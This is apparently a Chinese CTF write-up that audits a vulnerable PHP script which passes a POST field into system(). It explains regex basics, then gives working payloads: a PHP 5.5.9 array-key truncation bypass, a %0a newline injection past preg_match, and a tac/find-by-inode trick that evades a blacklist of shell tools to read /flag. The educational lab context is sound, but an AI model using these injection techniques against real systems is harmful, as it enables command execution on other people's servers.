如有不对的地方,还请各位大佬指正。下面开始做题:
进入题目以后直接是给了代码,让我们进行代码审计:
$_POST[]
预定义的 $_POST 变量用于收集来自 method="post" 的表单中的值。
从带有 POST 方法的表单发送的信息,对任何人都是不可见的(不会显示在浏览器的地址栏),并且对发送信息的量也没有限制。
PHP正则表达式preg_match函数的使用:
利用 preg_match(),可以完成字符串的规则匹配。如果找到一个匹配,preg_match() 函数返回 1,否则返回 0
正则表达式preg_match的规则:
◆/ 为定界符
◆开头的 ^ 和结尾的 $ 让PHP从字符串开头检查到结尾。
◆[ 和 ] 被用来限制许可输入类型。例如 a-z 允许所有的小写字母,A-Z 允许所有的大写字母,0-9 所有数字,等等,以及更多其他类型。
◆{ 和 } 被用来限制期望的字符数。例如 {2,4} 表示字符串的每一节可以有 2-4 字符长度,像是 .com.cn 或 .info。在这里, "." 并不算一个字符,因为 {2,4} 之前定义的许可输入类型只有大小写字母,故此段只匹配大小写字母
◆( 和 ) 被用来合并小节,并定义字符串中必须存在的字符。(a|b|c) 能够匹配 a 或 b 或 c。
◆(.) 将匹配所有字符,而 [.] 只匹配 "." 本身。
要使用一些符号本身,必须在前增加一个 。 这些字符有:( ) [ ] . * ? + ^ | $◆定界符,通常使用 “/”做为定界符开始和结束,也可以使用”#”
◆”i”就是修饰符,表示忽略大小写,还有一个我们经常用到的是”x”表示忽略空格
◆ ^ 放在字符域(如:[^\w])中表示否定(不包括的意思)——“反向选择”
^ 放在表达式之前,表示以当前这个字符开始。(/^n/i,表示以n开头)。
◆ * 0到到次
◆ + 1到多次还可以写成{1,}
◆ ? 0或1次
◆ . 匹配除换行符外的所有单个的字符
◆ \w [a-zA-Z0-9]
◆\s 空白字符(空格,换行符,回车符)[\t\n\r]
◆\d [0-]
\d是数字 \D是非数字,此处还有\w表示大小写字母、数字、下划线,\W表示跟\w刚好相反
具体请参考php正则表达式入门详解-php教程-PHP中文网
PHP preg_match正则表达式详解_zouhui1的博客-优快云博客
<?php
//php5.5.9
$stuff = $_POST["stuff"]; //
$array = ['admin', 'user'];
if($stuff === $array && $stuff[0] != 'admin') { //如果传入的$stuff类型与数值同时都等于$array与$stuff[0]且不等于admin
$num= $_POST["num"];
if (preg_match("/^\d+$/im",$num)){ //匹配$num的数字多次且不区分的大小写
if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){ //黑名单
echo "my favorite num is:";
system("echo ".$num);
}else{
echo 'Bonjour!';
}
}
} else {
highlight_file(__FILE__);
}
代码审计:
第一点:这里的关键函数是:if($stuff === $array && $stuff[0] != 'admin'),变量stuff类型与数值都同时等于$array与$stuff[0]且不等于admin。
第二点:正则表达式,要求$num 全部是数字
第三点:黑名单过滤
第一个条件绕过,PHP5.5.9存在key整数溢出当key=4294967296(2^32)次方可绕过,具体的漏洞文档PHP :: Bug #69892 :: Different arrays compare indentical due to integer key truncation
payload:stuff[4294967296]=admin&stuff[1]=user&num=123
但是需要注意的一点是网页下的包基本都是GET型的数据包,我们需要通过burpsuite自带的改包键进行数据包的改变 ,具体的改包方式如何在Brupsuite中将一个GET数据包修改为POST数据包 - Article_kelp - 博客园
点击后才能满足数据包的更改,代码审计中的上传方式是用POST方式上传;
更改后上传构建的payload:
第二步绕过:全数字大小写不敏感,可以利用换行符%0a绕过 具体请参考这里(第三步是黑名单,尝试其他方式获得flag就行)preg_match()绕过的问题总结 - 无据 - 博客园
payload:stuff[4294967296]=admin&stuff[1]=user&num=123%0als -i /
由于flag被第三步过滤掉了,所以直接输入stuff[4294967296]=admin&stuff[1]=user&num=123%0acat /flag无法查看flag
最终的payload:stuff[4294967296]=admin&stuff[1]=user&num=123%0atac `find / -inum 2361104`
flag:cyberpeace{6e3618f96bf16741eac6105a06507ebf}
总结,当要时刻关注版本自带的漏洞。